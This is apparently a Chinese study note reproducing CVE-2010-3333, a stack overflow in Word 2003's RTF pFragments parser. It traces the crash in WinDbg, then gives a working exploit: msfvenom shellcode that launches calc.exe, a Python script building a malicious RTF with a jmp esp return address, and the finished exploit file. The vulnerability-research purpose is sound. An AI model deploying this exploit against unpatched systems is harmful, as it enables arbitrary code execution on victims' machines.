CVE-2010-3333 漏洞复现 分析

泉哥《漏洞战争-软件漏洞分析精要》中的第二个漏洞,栈溢出漏洞。这里跟着泉哥书里的讲解来复现这个漏洞,也顺便学习一下windbg的基本使用和基于栈回溯的漏洞分析方法。

这篇笔记里很多直接用了泉哥书里的原话,其实这样不太好(因为自己实在太菜了),等技术上去了还是要自己思考分析,最后再看书对比一下思路比较好。。

漏洞概述

MicroSoft office XP SP3 、Office 2003 SP3、Office 2007 SP2、Office 2010等多个版本的Office软件中的Open XML文件格式转换器存在栈溢出漏洞,主要是在处理RTF中的“pFragments”属性时存在栈溢出,导致远程攻击者可以借助特制的RTF数据执行任意代码,因此该漏洞又名“RTF栈缓冲区溢出漏洞”。

调试环境

操作系统 Windows XP SP3
虚拟机 VMware Workstation 15 Pro
调试器 Windbg
漏洞软件 Microsoft Office Word 2003

漏洞成因

生成Crash的RTF样本

使用msf生成样本,这里选择可以使程序Crash的样本,用于分析漏洞原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
msf5 > search cve-2010-3333

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
1 exploit/windows/fileformat/ms10_087_rtf_pfragments_bof 2010-11-09 great No MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)


msf5 > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > show info

Name: MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)
Module: exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2010-11-09

Provided by:
wushi of team509
unknown
jduck <jduck@metasploit.com>
DJ Manila Ice, Vesh, CA

Available targets:
Id Name
-- ----
0 Automatic
1 Microsoft Office 2002 SP3 English on Windows XP SP3 English
2 Microsoft Office 2003 SP3 English on Windows XP SP3 English
3 Microsoft Office 2007 SP0 English on Windows XP SP3 English
4 Microsoft Office 2007 SP0 English on Windows Vista SP0 English
5 Microsoft Office 2007 SP0 English on Windows 7 SP0 English
6 Crash Target for Debugging

Check supported:
No

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.rtf yes The file name.

Payload information:
Space: 512
Avoid: 1 characters

Description:
This module exploits a stack-based buffer overflow in the handling
of the 'pFragments' shape property within the Microsoft Word RTF
parser. All versions of Microsoft Office 2010, 2007, 2003, and XP
prior to the release of the MS10-087 bulletin are vulnerable. This
module does not attempt to exploit the vulnerability via Microsoft
Outlook. The Microsoft Word RTF parser was only used by default in
versions of Microsoft Word itself prior to Office 2007. With the
release of Office 2007, Microsoft began using the Word RTF parser,
by default, to handle rich-text messages within Outlook as well. It
was possible to configure Outlook 2003 and earlier to use the
Microsoft Word engine too, but it was not a default setting. It
appears as though Microsoft Office 2000 is not vulnerable. It is
unlikely that Microsoft will confirm or deny this since Office 2000
has reached its support cycle end-of-life.

References:
https://cvedetails.com/cve/CVE-2010-3333/
OSVDB (69085)
https://technet.microsoft.com/en-us/library/security/MS10-087
http://www.securityfocus.com/bid/44652
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880

msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set target 6
target => 6
msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit

[*] Creating 'msf.rtf' file ...
[+] msf.rtf stored at /root/.msf4/local/msf.rtf

调试Crash样本

用windbg附加打开有漏洞的Microsoft Office Word。然后打开上面生成的能使程序崩溃的rtf样本。然后程序会崩溃,windbg断下。Command窗口信息如下

1
2
3
4
5
6
7
8
9
(c1c.1e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000c8ac ebx=05000000 ecx=00001ac8 edx=00000000 esi=11045d98 edi=00130000
eip=30ed442c esp=0012a24c ebp=0012a284 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll -
mso!Ordinal1246+0x16b0:
30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

可以看到,导致崩溃的指令是位于mso.dll模块中。该处指令为【rep movs dword ptr es:[edi],dword ptr [esi]】,该条指令的意思是,从[esi]复制ecx个双字到[edi]

查看 esi寄存器所指的内存空间

1
2
3
4
5
6
7
8
9
10
//db命令查看内存空间数据
0:000> db esi
11045d98 32 45 73 33 45 73 34 45-73 35 45 73 36 45 73 37 2Es3Es4Es5Es6Es7
11045da8 45 73 38 45 73 39 45 74-30 45 74 31 45 74 32 45 Es8Es9Et0Et1Et2E
11045db8 74 33 45 74 34 45 74 35-45 74 36 45 74 37 45 74 t3Et4Et5Et6Et7Et
11045dc8 38 45 74 39 45 75 30 45-75 31 45 75 32 45 75 33 8Et9Eu0Eu1Eu2Eu3
11045dd8 45 75 34 45 75 35 45 75-36 45 75 37 45 75 38 45 Eu4Eu5Eu6Eu7Eu8E
11045de8 75 39 45 76 30 45 76 31-45 76 32 45 76 33 45 76 u9Ev0Ev1Ev2Ev3Ev
11045df8 34 45 76 35 45 76 36 45-76 37 45 76 38 45 76 39 4Ev5Ev6Ev7Ev8Ev9
11045e08 45 77 30 45 77 31 45 77-32 45 77 33 45 77 34 45 Ew0Ew1Ew2Ew3Ew4E

查看edi寄存器所指的内存空间属性,可以看到,该段内存空间是只读权限的,因此,往这里写入内容当然会触发错误崩溃。

1
2
3
4
5
6
7
8
9
10
11
//!address命令查看内存信息
0:000> !address edi
Usage: MemoryMappedFile
Allocation Base: 00130000
Base Address: 00130000
End Address: 00133000
Region Size: 00003000
Type: 00040000 MEM_MAPPED
State: 00001000 MEM_COMMIT
Protect: 00000002 PAGE_READONLY
Mapped file name: PageFile

查看栈

1
2
3
4
5
6
7
8
9
0:000> db esp
0012a24c 20 16 4d 01 3c a4 12 00-fb b5 f0 30 20 16 4d 01 .M.<......0 .M.
0012a25c 74 a2 12 00 00 00 00 00-00 00 00 00 00 00 00 00 t...............
0012a26c 00 00 00 00 81 bf 4e 00-41 61 30 41 61 31 41 61 ......N.Aa0Aa1Aa
0012a27c 32 41 61 33 41 61 34 41-61 35 41 61 36 41 61 37 2Aa3Aa4Aa5Aa6Aa7
0012a28c 41 61 38 41 61 39 41 62-30 41 62 31 41 62 32 41 Aa8Aa9Ab0Ab1Ab2A
0012a29c 62 33 41 62 34 41 62 35-41 62 36 41 62 37 41 62 b3Ab4Ab5Ab6Ab7Ab
0012a2ac 38 41 62 39 41 63 30 41-63 31 41 63 32 41 63 33 8Ab9Ac0Ac1Ac2Ac3
0012a2bc 41 63 34 41 63 35 41 63-36 41 63 37 41 63 38 41 Ac4Ac5Ac6Ac7Ac8A

查看mso模块的详细信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//lm命令查看模块信息
0:000> lmv m mso
start end module name
30c90000 3184c000 mso (export symbols) C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll
Loaded symbol image file: C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll
Image path: C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll
Image name: mso.dll
Timestamp: Tue Jun 19 07:53:36 2007 (46771B00)
CheckSum: 00BB6E3C
ImageSize: 00BBC000
File version: 11.0.8172.0
Product version: 11.0.8172.0
File flags: 0 (Mask 3F)
File OS: 40004 NT Win32
File type: 2.0 Dll
File date: 00000000.00000000
Translations: 0000.04e4
CompanyName: Microsoft Corporation
ProductName: Microsoft Office 2003
InternalName: MSO
OriginalFilename: MSO.DLL
ProductVersion: 11.0.8172
FileVersion: 11.0.8172
FileDescription: Microsoft Office 2003 component
LegalCopyright: Copyright © 1983-2003 Microsoft Corporation. All rights reserved.

因此,这是一处位于mso.dll模块上的一处栈溢出漏洞,由于在循环复制内存数据到栈上时,没有检测复制的内存大小,导致覆盖到0x1300000这个只读内存地址,最后造成访问违例。触发异常的指令地址0x30ed442c位于函数sub_30ed4406中,先将其标记为CrashFun函数。重新再用Windbg加载运行,在触发错误的指令处下断点。运行后断下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//下断点、运行
0:004> bp 30ed442c
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll -
0:004> bl
0 e 30ed442c 0001 (0001) 0:**** mso!Ordinal1246+0x16b0
0:004> g
ModLoad: 762d0000 762e0000 C:\WINDOWS\system32\winsta.dll
ModLoad: 5fdd0000 5fe25000 C:\WINDOWS\system32\NETAPI32.dll
ModLoad: 36c30000 36c3c000 C:\Program Files\Microsoft Office\OFFICE11\msostyle.dll
ModLoad: 0a430000 0a5d1000 C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLL
ModLoad: 76f20000 76f28000 C:\WINDOWS\system32\WTSAPI32.DLL
ModLoad: 762d0000 762e0000 C:\WINDOWS\system32\WINSTA.dll
ModLoad: 5fdd0000 5fe25000 C:\WINDOWS\system32\NETAPI32.dll
Breakpoint 0 hit
eax=0000c8ac ebx=05000000 ecx=0000322b edx=00000000 esi=1104000c edi=0012a274
eip=30ed442c esp=0012a24c ebp=0012a284 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mso!Ordinal1246+0x16b0:
30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

断下后查看栈回溯,定位是哪个函数调用到崩溃函数的

1
2
3
4
5
6
7
8
9
10
11
12
13
14

0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012a284 30f0b56b 0012a3f0 00000000 ffffffff mso!Ordinal1246+0x16b0 //当前函数
0012a2b4 30f0b4f9 0012a43c 0012a3f0 00000000 mso!Ordinal1273+0x2581 //上层函数
0012a500 30d4d795 00000000 0012a540 00000000 mso!Ordinal1273+0x250f
0012a528 30d4d70d 30d4d5a8 014d19fc 014d1a34 mso!Ordinal5575+0xf9
0012a52c 30d4d5a8 014d19fc 014d1a34 014d18e4 mso!Ordinal5575+0x71
0012a530 014d19fc 014d1a34 014d18e4 30dce40c mso!Ordinal4099+0xf5
0012a534 014d1a34 014d18e4 30dce40c 00000000 0x14d19fc
0012a538 014d18e4 30dce40c 00000000 014d1648 0x14d1a34
0012a53c 30dce40c 00000000 014d1648 0012b2ec 0x14d18e4
0012a540 00000000 014d1648 0012b2ec 00000000 mso!Ordinal2940+0x1588c
1
2
3
4
5
6
7
8
9
10
11

0:000> ub mso!Ordinal1273+0x2581
mso!Ordinal1273+0x256d:
30f0b557 23c1 and eax,ecx
30f0b559 50 push eax
30f0b55a 8d47ff lea eax,[edi-1]
30f0b55d 50 push eax
30f0b55e 8b4508 mov eax,dword ptr [ebp+8]
30f0b561 6a00 push 0
30f0b563 ff750c push dword ptr [ebp+0Ch]
30f0b566 e857000000 call mso!Ordinal1273+0x25d8 (30f0b5c2)

因此,CrashFun函数是在0x30f0b5c2函数中被调用的。而之所以栈回溯中没有显示对CrashFun函数的调用,是因为,CrashFun函数是没有作push ebp ; mov ebp, esp这样的建立自己函数栈帧的操作,因此windbg无法识别这个函数的栈帧。

重新用windbg加载word进程,并在0x30f0b5c2函数上下断点,运行后断下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0:004> bp 30f0b5c2
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll -
0:004> bl
0 e 30f0b5c2 0001 (0001) 0:**** mso!Ordinal1273+0x25d8
0:004> g
ModLoad: 762d0000 762e0000 C:\WINDOWS\system32\winsta.dll
ModLoad: 5fdd0000 5fe25000 C:\WINDOWS\system32\NETAPI32.dll
ModLoad: 36c30000 36c3c000 C:\Program Files\Microsoft Office\OFFICE11\msostyle.dll
ModLoad: 0a350000 0a4f1000 C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLL
ModLoad: 76f20000 76f28000 C:\WINDOWS\system32\WTSAPI32.DLL
ModLoad: 762d0000 762e0000 C:\WINDOWS\system32\WINSTA.dll
ModLoad: 5fdd0000 5fe25000 C:\WINDOWS\system32\NETAPI32.dll
Breakpoint 0 hit
eax=0012a43c ebx=00000000 ecx=0012a2b0 edx=00000000 esi=00000000 edi=00000000
eip=30f0b5c2 esp=0012a288 ebp=0012a2b4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mso!Ordinal1273+0x25d8:
30f0b5c2 55 push ebp

单步调试

1
//单步运行调试 p单步步过 t单步跟进

单步调试到0x30f0b5f8时,就会调用CrashFun函数(sub_30ed4406)进行内存数据复制:

1
2
3
4
5
6
0:000> p
eax=30da33d8 ebx=05000000 ecx=0012a274 edx=00000000 esi=014d1620 edi=0012a43c
eip=30f0b5f8 esp=0012a258 ebp=0012a284 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mso!Ordinal1273+0x260e:
30f0b5f8 ff501c call dword ptr [eax+1Ch] ds:0023:30da33f4=30ed4406

继续单步,调试到0x30ed4429时,可以看到,此时ecx寄存器中的值(即需要复制的数据大小)为0x0000c8ac。由于复制时是dword双字操作(4字节),因此要将ecx除以4(即逻辑右移二位)

1
2
3
4
5
6
7
8
9
10
11
12
0:000> p
eax=0000c8ac ebx=05000000 ecx=0000c8ac edx=00000000 esi=1104000c edi=0012a274
eip=30ed4429 esp=0012a24c ebp=0012a284 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mso!Ordinal1246+0x16ad:
30ed4429 c1e902 shr ecx,2
0:000> p
eax=0000c8ac ebx=05000000 ecx=0000322b edx=00000000 esi=1104000c edi=0012a274
eip=30ed442c esp=0012a24c ebp=0012a284 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mso!Ordinal1246+0x16b0:
30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

此时查看一下esi寄存器所指地址(复制源地址)中的数据

1
2
3
4
5
6
7
8
9
0:000> db esi
1104000c 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A
1104001c 61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab
1104002c 30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5
1104003c 41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A
1104004c 63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac
1104005c 36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1
1104006c 41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A
1104007c 64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae

再用winhex看一下rtf样本数据

可以看到,上面ecx寄存器中的0x0000acc8是来自样本数据的,位于pFragments属性值的第三个字段,偏移8个字节后的4个字符即为复制数据的大小(上图红框),而0xacc8后的数据正是实际内存复制的数据(上图黑框),与复制内存原地址esi指向的内容是一致的。

而复制内存的目的地址edi偏移栈帧底部ebp共0x10字节。由于复制的内存数据较大,导致复制的过程中覆盖到不可写的内存地址而出发异常,因此没有去执行覆盖到的返回地址或者SEH异常处理函数。

漏洞成因总结

由于Word中的RTF分析器在解析pFragments属性值时,没有计算属性值所需的内存空间大小,只要复制的数据大小超过0x14(加上ebp占用的4字节),即可覆盖到返回地址或者SEH结构,进而劫持程序的执行流程。

漏洞利用

Jmp ESP

第一种方法,直接覆盖返回地址jmp esp的地址,然后在栈上布置shellcode即可。一个可用的jmp esp地址为0x7ffa4512,而shellcode可以直接用msfvenom生成。

生成shellcode:

1
2
3
4
5
6
root@kali:~# msfvenom -a x86 -p windows/exec cmd=calc.exe -f hex
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 193 bytes
Final size of hex file: 386 bytes
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500

将shellcode填充进文件中时,需要注意的是,rtf文件中的数据是hex格式,因此,内存中的一字节,rtf中要用两个字符来表示,因此,复制数据时,目标地址距离ebp为0x10,加上old ebp的4字节,需要填充0x14字节,再乘2即40个字符。而由于是0x30f0b5c2函数的栈帧,所以覆盖的是0x30f0b5c2的返回地址,这个函数返回时用的是retn 14h相当于,ret ; add esp, 14h,因此,还需要在jmp esp地址和shellcode中间填充0x14*2=40个字符。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#CVE-2010-3333 my_exp.py
#-*-coding:utf8-*-
data = '''{\\rtf1{}{\shp{\*\shpinst{\sp{\sn pfragments}{\sv1;1;11111111'''
data += '0010' #复制数据的长度
data += '1'*0x20+'1'*8 #循环复制目的地址与返回地址中的填充
data += '1245fa7f' #返回地址 jmp esp指令地址
data += '0'*0x14*2 #jmp esp指令地址与shellcode之间的填充
shellcode = 'fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4' \
'c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b' \
'8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a69' \
'5bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500'
data += shellcode
data += '}}}}}'
print(len(shellcode))
print(data)
with open('exp_jmp_esp.rtf', 'w') as f:
f.write(data)
f.close()

exp_jmp_esp.rtf:

1
{\rtf1{}{\shp{\*\shpinst{\sp{\sn pfragments}{\sv1;1;11111111001011111111111111111111111111111111111111111245fa7f0000000000000000000000000000000000000000fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500}}}}}

如上,可成功弹出计算器。

0%